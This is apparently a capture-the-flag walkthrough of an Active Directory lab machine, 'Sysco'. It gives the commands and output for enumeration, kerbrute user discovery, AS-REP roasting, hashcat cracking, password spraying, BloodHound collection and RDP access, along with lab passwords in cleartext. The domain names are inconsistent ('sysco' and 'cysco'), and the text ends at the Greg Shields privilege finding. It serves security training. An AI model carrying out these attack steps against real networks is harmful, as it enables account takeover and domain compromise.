> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-sysco.md).

# Hacksmarter - Sysco

## Enumeration <a href="#user-content-enumeration" id="user-content-enumeration"></a>

### 1. Port Scanning & Service Discovery <a href="#user-content-1-port-scanning--service-discovery" id="user-content-1-port-scanning--service-discovery"></a>

The first step in an external pentest is mapping the attack surface to see what services the target is exposing.

&#x20;**Nmap**

Scan for ports

* **Command Used:**

```
┌──(kali㉿kali)-[~/Desktop/sysco]
└─$ sudo nmap -A 10.0.24.199 -oN sysco.nmap -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-05 10:52 EDT
Nmap scan report for 10.0.24.199
Host is up (0.22s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Index - Sysco MSP
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-05 14:52:58Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-08-05T14:53:58+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC01.SYSCO.LOCAL
| Not valid before: 2026-08-04T14:49:43
|_Not valid after:  2027-02-03T14:49:43
| rdp-ntlm-info: 
|   Target_Name: SYSCO
|   NetBIOS_Domain_Name: SYSCO
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: SYSCO.LOCAL
|   DNS_Computer_Name: DC01.SYSCO.LOCAL
|   Product_Version: 10.0.20348
|_  System_Time: 2026-08-05T14:53:19+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-08-05T14:53:22
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: -2s, deviation: 0s, median: -2s

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   214.71 ms 10.200.0.1
2   ...
3   216.40 ms 10.0.24.199

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.40 seconds

```

**Discovered Services Table**

Based on the scan results, this is clearly a Windows Active Directory Domain Controller:

| **Port**          | **Service** | **Notes & Significance**                                            |
| ----------------- | ----------- | ------------------------------------------------------------------- |
| **53**            | DNS         | Domain Name System. Standard on Domain Controllers.                 |
| **80**            | HTTP        | Apache 2.4.58 / PHP / OpenSSL. Likely the initial entry point.      |
| **88**            | Kerberos    | Core Active Directory authentication service.                       |
| **135, 139, 445** | RPC / SMB   | Windows file sharing and inter-process communication.               |
| **389**           | LDAP        | Lightweight Directory Access Protocol. Used to query AD objects.    |
| **3389**          | RDP         | Remote Desktop Protocol. GUI access if credentials are compromised. |

*Note: The Nmap scan revealed the domain name is `cysco.local` and the domain controller hostname is `dc1.cysco.local`.*

***

### 2. Local DNS Resolution (`/etc/hosts`) <a href="#user-content-2-local-dns-resolution-etchosts" id="user-content-2-local-dns-resolution-etchosts"></a>

To interact with Active Directory services and web applications properly, your attacking machine needs to know how to translate the target's domain names into its IP address.

* **Action:** Map the target IP to the discovered hostnames in your Linux host file.
* **Command:**

```
sudo nano /etc/hosts  
```

* **Configuration to Add:**

```
10.0.24.199    dc1.cysco.local    cysco.local  
```

*(Save and exit Nano using `Ctrl+X`, then `Y`, then `Enter`)*

<figure><img src="/files/aVBC2KSRjyJQywro1CNQ" alt=""><figcaption></figcaption></figure>

***

### 3. Web Application Enumeration (Port 80) <a href="#user-content-3-web-application-enumeration-port-80" id="user-content-3-web-application-enumeration-port-80"></a>

Since port 80 is open, enumerating the web application is the most logical next step for finding an initial foothold.

**A. Directory Brute Forcing**

Automated discovery of hidden files and directories that are not linked on the public-facing pages.

* **Tool:** `dirsearch`
* **Command:**

```
dirsearch -u http://cysco.local  
```

```
──(kali㉿kali)-[~/Desktop/sysco]
└─$ dirsearch -u http://cysco.local  
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                       
 (_||| _) (/_(_|| (_| )                                                                                                                
                                                                                                                                       
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/sysco/reports/http_cysco.local/_26-08-05_10-55-59.txt

Target: http://cysco.local/

[10:55:59] Starting:                                                                                                                   
[10:56:04] 403 -  300B  - /%C0%AE%C0%AE%C0%AF                               
[10:56:04] 403 -  300B  - /%3f/                                             
[10:56:04] 403 -  300B  - /%ff                                              
[10:56:10] 403 -  300B  - /.ht_wsr.txt                                      
[10:56:10] 403 -  300B  - /.htaccess.bak1                                   
[10:56:10] 403 -  300B  - /.htaccess.orig                                   
[10:56:10] 403 -  300B  - /.htaccess.save
[10:56:10] 403 -  300B  - /.htaccess.sample
[10:56:10] 403 -  300B  - /.htaccess_extra                                  
[10:56:10] 403 -  300B  - /.htaccess_orig
[10:56:10] 403 -  300B  - /.htaccess_sc
[10:56:10] 403 -  300B  - /.htaccessBAK
[10:56:10] 403 -  300B  - /.htaccessOLD
[10:56:10] 403 -  300B  - /.htaccessOLD2
[10:56:10] 403 -  300B  - /.htm                                             
[10:56:10] 403 -  300B  - /.html                                            
[10:56:10] 403 -  300B  - /.htpasswd_test                                   
[10:56:10] 403 -  300B  - /.httr-oauth
[10:56:10] 403 -  300B  - /.htpasswds
[10:56:42] 301 -  335B  - /assets  ->  http://cysco.local/assets/           
[10:56:42] 200 -    2KB - /assets/                                          
[10:56:47] 403 -  300B  - /cgi-bin/                                         
[10:57:00] 200 -    2KB - /cgi-bin/printenv.pl                              
[10:57:02] 503 -  400B  - /examples/jsp/snp/snoop.jsp                       
[10:57:02] 503 -  400B  - /examples
[10:57:02] 503 -  400B  - /examples/                                        
[10:57:02] 503 -  400B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/ 
[10:57:02] 503 -  400B  - /examples/jsp/index.html
[10:57:02] 503 -  400B  - /examples/servlet/SnoopServlet                    
[10:57:02] 503 -  400B  - /examples/servlets/index.html
[10:57:02] 503 -  400B  - /examples/servlets/servlet/CookieExample          
[10:57:02] 503 -  400B  - /examples/servlets/servlet/RequestHeaderExample   
[10:57:02] 503 -  400B  - /examples/websocket/index.xhtml                   
[10:57:03] 301 -  334B  - /forms  ->  http://cysco.local/forms/             
[10:57:09] 403 -  300B  - /index.php::$DATA                                 
[10:57:28] 403 -  419B  - /phpmyadmin                                       
[10:57:30] 403 -  419B  - /phpmyadmin/index.php                             
[10:57:30] 403 -  419B  - /phpmyadmin/doc/html/index.html
[10:57:30] 403 -  419B  - /phpmyadmin/
[10:57:30] 403 -  419B  - /phpmyadmin/ChangeLog
[10:57:30] 403 -  419B  - /phpmyadmin/README
[10:57:30] 403 -  419B  - /phpmyadmin/docs/html/index.html
[10:57:30] 403 -  419B  - /phpmyadmin/scripts/setup.php
[10:57:30] 403 -  419B  - /phpmyadmin/phpmyadmin/index.php
[10:57:35] 200 -  219B  - /README.TXT                                       
[10:57:35] 200 -  219B  - /Readme.txt
[10:57:35] 200 -  219B  - /README.txt                                       
[10:57:35] 200 -  219B  - /ReadMe.txt
[10:57:35] 200 -  219B  - /readme.txt
[10:57:38] 403 -  419B  - /server-status                                    
[10:57:38] 403 -  419B  - /server-info                                      
[10:57:38] 403 -  419B  - /server-status/
[10:57:50] 200 -    5KB - /roundcube/index.php                              
[10:57:53] 403 -  300B  - /Trace.axd::$DATA                                 
[10:57:59] 403 -  300B  - /web.config::$DATA                                
[10:58:00] 403 -  419B  - /webalizer                                        
[10:58:00] 403 -  419B  - /webalizer/                          
```

* **Key Findings to Investigate:**
  * `/assets/` (Check if directory listing is enabled)
  * `/cgi-bin/printenv` (A Perl script that could leak environment variables or be vulnerable to Shellshock)
  * `readme.txt` (Often leaks software versions or setup configurations)
  * `/roundcube/` (An open-source webmail client; excellent target if credentials are found)

**ReadME File**

```
Thanks for downloading this template!

Template Name: OnePage
Template URL: https://bootstrapmade.com/onepage-multipurpose-bootstrap-template/
Author: BootstrapMade.com
License: https://bootstrapmade.com/license/
```

<figure><img src="/files/GmJ5nyap6Fcyz6ZZ24Qt" alt=""><figcaption></figcaption></figure>

**Assets**

<figure><img src="/files/4uo7GVDRCA5tHf6Aa8xo" alt=""><figcaption></figcaption></figure>

**B. Virtual Host (VHost) Fuzzing**

Web servers can host multiple different sites on the same IP address using subdomains (e.g., `dev.cysco.local`). Fuzzing helps discover these hidden subdomains.

* **Tool:** `ffuf` (Fuzz Faster U Fool)
* **Command:**

```
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://cysco.local -H "Host: FUZZ.cysco.local" -fs 23193  
```

<figure><img src="/files/zchHZSRtwRbEejEZgleT" alt=""><figcaption></figcaption></figure>

* **Command Breakdown:**
  * `-w`: Specifies the wordlist to use.
  * `-u`: The target URL.
  * `-H "Host: FUZZ.cysco.local"`: Injects the wordlist payload (`FUZZ`) into the Host header.
  * `-fs 23193`: **Filter Size**. Filters out responses that are exactly 23,193 bytes (which the instructor identified as the default "Not Found" page size, preventing false positives).

**C. Manual OSINT & User Enumeration**

Browsing the website manually to gather intelligence, specifically looking for valid employee names to build a target list for Active Directory attacks (like Password Spraying or AS-REP Roasting).

* **Discovered Users:**
  * Greg Shields
  * Sarah J. Honen
  * Jack Dowand
  * Laney Moore

<figure><img src="/files/M6LmPD5GgYcU7TYGffNF" alt=""><figcaption></figcaption></figure>

* **Next Steps for Users:** Use a tool like `username-anarchy` to generate potential AD login formats (e.g., `gshields`, `greg.shields`, `g.shields`).
* **Other Findings:** The email `info@cysco.local` confirms the internal domain structure, and a broken PHP contact form was found (always test forms for Cross-Site Scripting or header injection!).

## Enumeration - Part 2 <a href="#user-content-enumeration---part-2" id="user-content-enumeration---part-2"></a>

### 1. Web Directory Deep Dive (Port 80) <a href="#user-content-1-web-directory-deep-dive-port-80" id="user-content-1-web-directory-deep-dive-port-80"></a>

Following up on the `dirsearch` results from Part 1, the next step is to manually investigate the discovered endpoints to see if they offer an initial foothold.

* **/cgi-bin/printenv**: This is a Perl script that outputs the web server's environment variables.
  * **Significance:** This is a classic "Information Disclosure" vulnerability. It reveals that MySQL is running internally, exposes absolute file paths, and leaks backend version information. While it may not provide immediate access, it is critical to document for a real-world penetration test report.

<figure><img src="/files/sZwA42UWfxxSHguSbVHk" alt=""><figcaption></figcaption></figure>

* **readme.txt**: Identified as a standard Bootstrap template readme. No actionable intelligence found.
* **/roundcube/**: A functional webmail interface.
  * **Significance:** Checking the page source revealed the version (`Roundcube Webmail 1.6.11`). A quick search showed a potential XSS vulnerability (via SVG animate tags), but without credentials to log in, this is likely a rabbit hole. The main takeaway is that if we find credentials, we have a place to try them.

***

### 2. SMB Enumeration (Ports 135, 139, 445) <a href="#user-content-2-smb-enumeration-ports-135-139-445" id="user-content-2-smb-enumeration-ports-135-139-445"></a>

Server Message Block (SMB) is heavily used in Active Directory for file sharing. The goal here is to determine if the server allows unauthenticated (anonymous) access to read files or dump user lists.

**Tool:** `netexec` (formerly `crackmapexec`) Netexec is the industry standard for interacting with and enumerating Windows environments.

* **Attempt 1: Anonymous Access (Null Session)**\
  Bash

```
netexec smb cysco.local -u '' -p '' --shares  
```

<figure><img src="/files/lYs3A1LO8KWPpgTbPqHb" alt=""><figcaption></figcaption></figure>

*Result:* `STATUS_ACCESS_DENIED`. The server allows the connection but blocks us from listing available network shares.

* **Attempt 2: Guest Account Access**\
  Bash

```
netexec smb cysco.local -u 'guest' -p '' --shares  
```

<figure><img src="/files/9O9sMrrG4ZsnK7mWd5k0" alt=""><figcaption></figcaption></figure>

*Result:* `Account Disabled`. This indicates good basic security hygiene on the target.

* **Attempt 3: RID Brute Forcing** Relative Identifier (RID) brute forcing attempts to cycle through Windows Security Identifiers (SIDs) to enumerate all users and groups on the domain.\
  Bash

```
netexec smb cysco.local -u '' -p '' --rid-brute  
```

<figure><img src="/files/khVo1ACihLjXKhtsqSYJ" alt=""><figcaption></figcaption></figure>

*Result:* `Access Denied`. Without valid credentials or a permissive null session, this attack fails.

***

### 3. Active Directory Methodology <a href="#user-content-3-active-directory-methodology" id="user-content-3-active-directory-methodology"></a>

When attacking Active Directory, it is highly recommended to follow a structured methodology to avoid getting lost.

* **Resource:** The **Orange Cyberdefense Active Directory Mind Map** is an industry-standard visual guide that outlines step-by-step attack paths based on your current level of access (e.g., "Starting without credentials" vs. "Starting with a valid user").

***

### 4. Username Generation <a href="#user-content-4-username-generation" id="user-content-4-username-generation"></a>

In Part 1, we found a list of employee names on the website: Greg Shields, Sarah J. Honen, Jack Dowand, and Laney Moore. To use these against Active Directory, we need to convert them into standard corporate username formats (e.g., `first.last`, `flast`, `firstl`).

* **Process:**

1. Save the names into a comma-separated text file (e.g., `users.csv`).
2. Use a generation tool. While tools like `username-anarchy` are standard, simple Python scripts can also parse a CSV of first/last names and output a wordlist of common AD naming conventions.
3. Save the output to a new file: `ad_users.txt`.

{% embed url="<https://github.com/urbanadventurer/username-anarchy>" %}

{% embed url="<https://github.com/w0Tx/generate-ad-username>" %}

```
greg,shields
sarah,johnson
jack,dowland
Lainey,moore
```

```
python3 ADGenerator.py ad-users.txe
```

<figure><img src="/files/eof5QBgpEQ75nJmBvRgY" alt=""><figcaption></figcaption></figure>

Get these users in a file

<figure><img src="/files/pCsixOnB6LrF4IsBNhMN" alt=""><figcaption></figcaption></figure>

***

### 5. Validating Users via Kerberos (`kerbrute`) <a href="#user-content-5-validating-users-via-kerberos-kerbrute" id="user-content-5-validating-users-via-kerberos-kerbrute"></a>

Now that we have a list of potential usernames, we need to check if they actually exist in the Active Directory environment *without* locking out accounts by guessing passwords.

**Tool:** `kerbrute` Kerbrute leverages Kerberos Pre-Authentication. It sends a forged Kerberos request (AS-REQ) to the Domain Controller for a specific user. The DC responds with an error code indicating whether the user exists or not, allowing for incredibly fast, stealthy user enumeration.

{% embed url="<https://github.com/ropnop/kerbrute>" %}

* **Syntax:**

```
kerbrute userenum --dc <DOMAIN_CONTROLLER_IP> -d <DOMAIN_NAME> <WORDLIST_FILE>  
```

* **Command Used:**

```
┌──(kali㉿kali)-[~/Desktop/sysco]
└─$ kerbrute userenum -d sysco.local --dc 10.0.24.199 users.txt  


    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 08/05/26 - Ronnie Flathers @ropnop

2026/08/05 12:12:13 >  Using KDC(s):
2026/08/05 12:12:13 >   10.0.24.199:88

2026/08/05 12:12:13 >  [+] VALID USERNAME:       greg.shields@sysco.local
2026/08/05 12:12:14 >  [+] VALID USERNAME:       lainey.moore@sysco.local
2026/08/05 12:12:14 >  [+] VALID USERNAME:       jack.dowland@sysco.local
2026/08/05 12:12:15 >  Done! Tested 84 usernames (3 valid) in 2.103 seconds

```

*(Note: Kerbrute can sometimes fail if only the domain name is provided and DNS isn't perfectly configured. Passing the IP directly using the `--dc` flag ensures the tool routes correctly).*

* **Results (Valid AD Users Found):**
  * `greg.shields@cysco.local`
  * `jack.dowand@cysco.local`
  * `laney.moore@cysco.local`

<figure><img src="/files/6AP8VgWUdAV9axFsWNpt" alt=""><figcaption></figcaption></figure>

## Initial Access & BloodHound <a href="#user-content-initial-access--bloodhound" id="user-content-initial-access--bloodhound"></a>

### 1. Attack Methodology: Valid Users, No Passwords <a href="#user-content-1-attack-methodology-valid-users-no-passwords" id="user-content-1-attack-methodology-valid-users-no-passwords"></a>

When you have a list of validated Active Directory users but no passwords, it's crucial to consult a methodology like the **Orange Cyberdefense AD Mind Map**. From this state, the two most common paths are:

1. **Password Spraying:** Guessing a single common password (e.g., `Summer2025!`) against all users. *Warning: Dangerous without knowing the domain password policy, as it can lock out accounts.*
2. **AS-REP Roasting:** Targeting user accounts that have the `Do not require Kerberos preauthentication` flag enabled.

**AS-REP Roasting vs. Kerberoasting:**

* **AS-REP Roasting:** Requires *only* a valid username. If pre-auth is disabled, the Domain Controller will immediately send back a TGT (Ticket Granting Ticket) encrypted with the user's password hash, which we can capture and crack offline.
* **Kerberoasting:** Requires a valid username *and* password (initial access) to request service tickets.

***

### 2. Executing the AS-REP Roast <a href="#user-content-2-executing-the-as-rep-roast" id="user-content-2-executing-the-as-rep-roast"></a>

We use `netexec` (formerly crackmapexec) to automatically check our list of valid users against the Domain Controller to see if any are vulnerable to AS-REP Roasting.

* **Command:**

```
netexec ldap dc1.cysco.local -u valid_users.txt -p '' --asreproast hashes.txt  
```

* **Command Breakdown:**
  * `ldap`: The protocol used to query the Active Directory database.
  * `-u valid_users.txt`: Passes our list of enumerated users (Greg Shields, Jack Dowland, Laney Moore).
  * `-p ''`: Blank password, as we don't have one yet.
  * `--asreproast hashes.txt`: Instructs NetExec to attempt the roast and output any captured hashes to a text file.

<figure><img src="/files/xMAHzp7huvOj5nHUa7e9" alt=""><figcaption></figcaption></figure>

* **Result:** Success! The user **Jack Dowland** (`jack.dowland`) has pre-auth disabled, and we successfully captured his AS-REP hash.

***

#### 3. Offline Password Cracking <a href="#user-content-3-offline-password-cracking" id="user-content-3-offline-password-cracking"></a>

An AS-REP hash is useless unless we can crack it to reveal the plaintext password. We use `hashcat` along with the standard `rockyou.txt` wordlist to perform a dictionary attack.

* **Command:**

```
hashcat hash.txt /usr/share/wordlists/rockyou.txt --force
```

<figure><img src="/files/2agHe2t8XtzluS4Q6UEs" alt=""><figcaption></figcaption></figure>

*(Note: Hashcat is usually smart enough to auto-detect the AS-REP hash type. If it fails, you can manually specify the module using `-m 18200`)*.

* **Result:** The hash cracks easily. Jack's highly secure password is: `musicman1`.

```
jack.dowland:musicman1
```

***

#### 4. Validating Access & Dumping Users <a href="#user-content-4-validating-access--dumping-users" id="user-content-4-validating-access--dumping-users"></a>

Now that we have valid credentials (`jack.dowland` / `musicman1`), we need to verify they work for SMB access and pull down a full list of domain users. Sometimes administrators leave passwords or sensitive information in user account descriptions.

* **Check SMB Access:**

```
netexec smb dc1.cysco.local -u 'jack.dowland' -p 'musicman1' --shares  
```

<figure><img src="/files/nCMW48ohWgvcGQ7Z9onH" alt=""><figcaption></figcaption></figure>

*(A `+` symbol in the NetExec output confirms successful authentication).*

* **Dump Domain Users:**

```
netexec smb dc1.cysco.local -u 'jack.dowland' -p 'musicman1' --users  
```

<figure><img src="/files/Rhu8ib6S2CxSL1ISwSld" alt=""><figcaption></figcaption></figure>

***

#### 5. BloodHound Enumeration <a href="#user-content-5-bloodhound-enumeration" id="user-content-5-bloodhound-enumeration"></a>

With a compromised user account, we can now map out the entire Active Directory environment using **BloodHound**. BloodHound uses graph theory to reveal hidden relationships and attack paths that would be impossible to see manually.

**Step A: Collecting the Data (The Loot)**

We must first extract the environment data (users, groups, ACLs, sessions) from the Domain Controller. `netexec` has a built-in module for this.

* **Command:**

```
netexec ldap 10.0.24.199 -u 'jack.dowland' -p 'musicman1' --bloodhound --collection All --dns-server 10.0.24.199  
```

*(Pro-Tip: If you get DNS timeout errors, explicitly define the Domain Controller's IP using the `--dns-server` flag. In a real red team engagement, consider using `--collection DCOnly` to reduce noise).*

<figure><img src="/files/WRniBTs7Y7qXFIaYKfsZ" alt=""><figcaption></figcaption></figure>

* **Output:** NetExec saves the collected data as a `.zip` file in its local log directory (e.g., `~/.netexec/logs/`). Copy this zip file to your working directory.

**Step B: BloodHound Analysis**

1. **Start BloodHound:** If using the Dockerized BloodHound CLI, run `sudo systemctl start docker` followed by `sudo bloodhound-cli install` (or launch it via your local installation).
2. **Ingest Data:** Navigate to the BloodHound web interface (usually `localhost:8080`), clear any old environment data, and upload the `.zip` file.
3. **Analyze Jack Dowland:** Searching for Jack reveals he is a standard Domain User with no special outbound object controls or group memberships. He is a dead end for direct privilege escalation.
4. **Find High-Value Targets:** Using BloodHound's pre-built queries (e.g., "Shortest Paths to High Value Targets"), we discover an attack path.

```
sudo bloodhound-cli up
```

<figure><img src="/files/Zb9ia0gpBHYfeUCEllhG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/NtMb1uW1bIxtahfox2FC" alt=""><figcaption></figcaption></figure>

**The Next Target: Greg Shields**

BloodHound reveals that the user **Greg Shields** is a member of the **Group Policy Creator Owners** group. This group has write access to the Default Domain Policy. If we can compromise Greg Shields, we can edit domain-wide policies to instantly grant ourselves Domain Admin privileges.

<figure><img src="/files/GtlmwbF4x8nfVjeppdVi" alt=""><figcaption></figcaption></figure>

## Lateral Movement <a href="#user-content-lateral-movement" id="user-content-lateral-movement"></a>

### 1. Webmail Enumeration (RoundCube) <a href="#user-content-1-webmail-enumeration-roundcube" id="user-content-1-webmail-enumeration-roundcube"></a>

When Active Directory paths dry up, always review your initial external enumeration. In Part 1, we discovered a RoundCube webmail instance at `http://cysco.local/roundcube`.

* **Action:** Attempt to log in using the compromised Active Directory credentials.
* **Credentials Used:** `jack.dowland` / `musicman1`
* **Discovery:** Authentication is successful! Searching through Jack's mailbox, specifically the **Sent** folder, reveals an email to `laney.moore` regarding a router configuration issue. The email includes a Cisco router configuration file containing a hashed secret.

<figure><img src="/files/y67EVYdcwCLQu733m4uo" alt=""><figcaption></figcaption></figure>

***

### 2. Cracking Cisco IOS Hashes <a href="#user-content-2-cracking-cisco-ios-hashes" id="user-content-2-cracking-cisco-ios-hashes"></a>

The discovered router configuration contains an encrypted password. Network devices often use specific hashing algorithms (like Cisco Type 5 or Type 7) that can be cracked offline.

* **Tool:** `hashcat`
* **Process:** Save the extracted hash to a file (e.g., `router_hash.txt`) and run a dictionary attack against it.

<figure><img src="/files/b5iSyqxdOntQBOkA8Giw" alt=""><figcaption></figcaption></figure>

* **Command:**

```
hashcat router_hash.txt /usr/share/wordlists/rockyou.txt --force
```

* **Command Breakdown:**
  * Hashcat will attempt to auto-detect the hash type. In this case, it successfully identifies it as **Cisco-IOS (MD5)**.
  * If auto-detect fails, you can force the hash type using the `-m 500` flag (Module 500 is specifically for Cisco Type 5 MD5 hashes).
* **Result:** The hash is successfully cracked, revealing the password: `chocolate1`

```
john router_hash.txt -w=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/OrJBviH7c7z4w2ftAuvJ" alt=""><figcaption></figcaption></figure>

***

### 3. Lateral Movement via Password Spraying <a href="#user-content-3-lateral-movement-via-password-spraying" id="user-content-3-lateral-movement-via-password-spraying"></a>

With a newly discovered password, the next logical step is to test it against all known valid users in the Active Directory environment. This exploits **credential reuse**, a very common real-world vulnerability where employees use the same password across multiple systems or accounts.

* **Tool:** `netexec`
* **Command:**

```
┌──(kali㉿kali)-[~/Desktop/sysco]
└─$ nxc smb dc01.sysco.local -u valid_users.txt -p 'Chocolate1' --shares 
SMB         10.0.24.199     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False)                                                                                                                     
SMB         10.0.24.199     445    DC01             [-] SYSCO.LOCAL\greg.shields:Chocolate1 STATUS_LOGON_FAILURE 
SMB         10.0.24.199     445    DC01             [+] SYSCO.LOCAL\lainey.moore:Chocolate1 
SMB         10.0.24.199     445    DC01             [*] Enumerated shares
SMB         10.0.24.199     445    DC01             Share           Permissions     Remark
SMB         10.0.24.199     445    DC01             -----           -----------     ------
SMB         10.0.24.199     445    DC01             ADMIN$                          Remote Admin
SMB         10.0.24.199     445    DC01             C$                              Default share
SMB         10.0.24.199     445    DC01             IPC$            READ            Remote IPC
SMB         10.0.24.199     445    DC01             NETLOGON        READ            Logon server share 
SMB         10.0.24.199     445    DC01             SYSVOL          READ            Logon server share 

```

* **Result:** The password spray is successful against the user **Laney Moore** (`laney.moore`). We have officially moved laterally to our second compromised account!

***

#### 4. BloodHound Verification & AD Tiers <a href="#user-content-4-bloodhound-verification--a-d-tiers" id="user-content-4-bloodhound-verification--a-d-tiers"></a>

Before blindly interacting with the newly compromised account, we consult our BloodHound map to understand Laney's privileges within the domain.

* **Target:** `laney.moore` (Systems Engineer)
* **Key Memberships:**
  * `Remote Management Users` (Grants WinRM access)
  * `Remote Desktop Users` (Grants RDP access)
* **Security Concept (AD Tiering Violation):** Allowing a standard daily-driver account to Remote Desktop directly into a Domain Controller (Tier 0 asset) is a massive security flaw. Administrators should use dedicated, highly restricted administrative accounts for touching Tier 0 infrastructure to prevent credential theft.

<figure><img src="/files/rEr1NxexupzSOY61imSD" alt=""><figcaption></figcaption></figure>

***

#### 5. GUI Access via RDP <a href="#user-content-5-gui-access-via-rdp" id="user-content-5-gui-access-via-rdp"></a>

Since Laney is in the Remote Desktop Users group, we can establish a graphical session with the Domain Controller to retrieve the first flag (`user.txt`) and explore the system manually.

```
 xfreerdp /u:lainey.moore /p:Chocolate1 /v:dc01.sysco.local /cert:ignore
```

<figure><img src="/files/dSz0XpR3TyLxm6Ki7iOP" alt=""><figcaption></figcaption></figure>

## Credential Hunting <a href="#user-content-credential-hunting" id="user-content-credential-hunting"></a>

### 1. Stealthy Post-Exploitation (Red Team vs. Pentest) <a href="#user-content-1-stealthy-post-exploitation-red-team-vs-pentest" id="user-content-1-stealthy-post-exploitation-red-team-vs-pentest"></a>

Upon gaining RDP access, the immediate instinct might be to open PowerShell and run commands like `whoami /all` or automated scripts like WinPEAS. However, the instructor highlights a strategic difference based on the engagement type:

* **Penetration Test:** Time-boxed. The goal is to find as many vulnerabilities as possible. Noise is acceptable.
* **Red Team Engagement:** Emulates an Advanced Persistent Threat (APT). The primary goal is **stealth** and testing the Blue Team's detection capabilities.
* **Tactic Used:** Navigating the file system via the standard Windows graphical File Explorer is often "quieter" and less likely to trigger Endpoint Detection and Response (EDR) or SIEM alerts than immediately spawning command shells.

### 2. File System Enumeration & The KISS Principle <a href="#user-content-2-file-system-enumeration--the-kiss-principle" id="user-content-2-file-system-enumeration--the-kiss-principle"></a>

When searching for Local Privilege Escalation (LPE) vectors or lateral movement opportunities, apply the **KISS Principle** (Keep It Simple, Stupid). Avoid overcomplicating the attack path before checking the basics.

* **Program Files:** Check `C:\Program Files` and `C:\Program Files (x86)` for non-standard, outdated, or vulnerable third-party software (e.g., mail servers, backup clients).
* **User Directories:** Thoroughly check the compromised user's profile (`C:\Users\laney.moore\`).
* **Crucial OS Setting:** Always enable **"Show Hidden Items"** in the File Explorer View tab. Administrators frequently hide sensitive files, scripts, or backups.

<figure><img src="/files/3GeOwM1a3D7lvdaLS51h" alt=""><figcaption></figcaption></figure>

### 3. Extracting Credentials from Shortcut Files (`.lnk`) <a href="#user-content-3-extracting-credentials-from-shortcut-files-lnk" id="user-content-3-extracting-credentials-from-shortcut-files-lnk"></a>

During the enumeration of Laney's `Documents` folder, a `notes.txt` file and a Putty shortcut (`.lnk`) file were discovered. Putty is a popular GUI client for SSH and Telnet.

To investigate the shortcut's configuration without executing it, you can read the raw text of the binary file.

* **Command Line Transition:** Opened PowerShell for specific file reading.
* **Command:** `powershell type "HS router login.lnk"`

```
C:\Users\lainey.moore\Documents\putty.exe -ssh netadmin@10.0.0.1 -pw 5y5coSmarter2025!!!
```

(Note: In Windows PowerShell/CMD, `type` is the equivalent of the Linux `cat` command. It outputs the contents of a file to the console).\*

* **Finding:** The raw output of the shortcut file leaked a cleartext password intended for router access.

### 4. Lateral Movement to Greg Shields <a href="#user-content-4-lateral-movement-to-greg-shields" id="user-content-4-lateral-movement-to-greg-shields"></a>

Following the discovery of a new password, we immediately repeat our password spraying methodology to check for credential reuse across the domain.

* **Tool:** `netexec`
* **Command:**

```
nxc smb dc01.sysco.local -u valid_users.txt -p '5y5coSmarter2025!!!' --shares 
```

* **Result:** The password successfully authenticated the user **Greg Shields** (`greg.shields`). We have achieved our third compromised account!

<figure><img src="/files/yr3FyW9U621jaqCeL9B1" alt=""><figcaption></figcaption></figure>

### 5. BloodHound Analysis: Identifying the Kill Chain <a href="#user-content-5-bloodhound-analysis-identifying-the-kill-chain" id="user-content-5-bloodhound-analysis-identifying-the-kill-chain"></a>

With Greg Shields compromised, we return to BloodHound to analyze his specific Active Directory permissions.

* **Target:** `greg.shields`

<figure><img src="/files/JQdGTOK3zvr0rnKcTH7W" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zKUBRs9GLqlYNXaSjvvT" alt=""><figcaption></figcaption></figure>

* **Key Finding:** Greg is a member of the **Group Policy Creator Owners** group.
